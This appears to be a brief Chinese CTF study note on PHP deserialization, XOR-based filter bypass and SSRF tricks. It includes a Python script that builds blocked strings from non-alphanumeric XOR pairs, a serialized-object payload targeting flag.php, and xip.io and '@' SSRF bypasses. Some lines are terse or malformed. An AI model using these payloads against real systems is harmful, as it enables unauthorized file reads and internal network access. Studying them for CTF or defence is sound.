一.关于序列化和反序列化的初步理解
serialize() 这个函数是将传入的东西进行序列化;
unserialize() 这个函数是将传入的东西进行反序列化;
传值的时候当A-Z a-z 0-9 _ 这些字符被过滤的时候,用其他的字符进行python异或的代码,用俩字符异或进行读取相应的文件。
#encoding=utf-8
import re
word=''
re_search="[0-9a-zA-Z_]" #正则匹配不要的
flag="get" # 需要亦或出来的字符串 //这里输入你想改的字符,比如getFlag啥的
for i in range(32,126):
# print(chr(i))
if re.search(re_search,chr(i))==None:
# print(chr(i))
word+=chr(i)
print("可用字符串有:",word)
for i in word:
for j in word:
if chr(ord(i)^ord(j)) in flag:
print((i),(j),chr(ord(i)^ord(j)))
输出的字符随便用,只要记得在俩字符间加 ^ 符号。
一些盲注,然后通过ls的方式爆当前目录的文件
爆当前目录的文件
<?php
Class Test
{
public $key='flag.php';
}
$b= new Test();
$b->key = 'flag.php';
echo serialize($b); //先序列化一遍
echo md5('O:4:"Test":1:{s:3:"key";s:8:"flag.php";}'); //代码序列化之后用md5加密,然后hash传值
?>
最后访问,去爆flag.php的内容,一般有 cat 这个函数直接爆,
有时候 ls不会爆所有文件
在注入的时候 要用 ground_cat
关于linux的指令
当大部分常用的指令被过滤的时候,可以去http://www.runoob.com/linux/linux-command-manual.html?tdsourcetag=s_pctim_aiomsg寻找还没过滤的指令,然后去构建指令。
SSRF
xip.io
url=http:/url=http://www.10.10.10.10.xip.io
使用@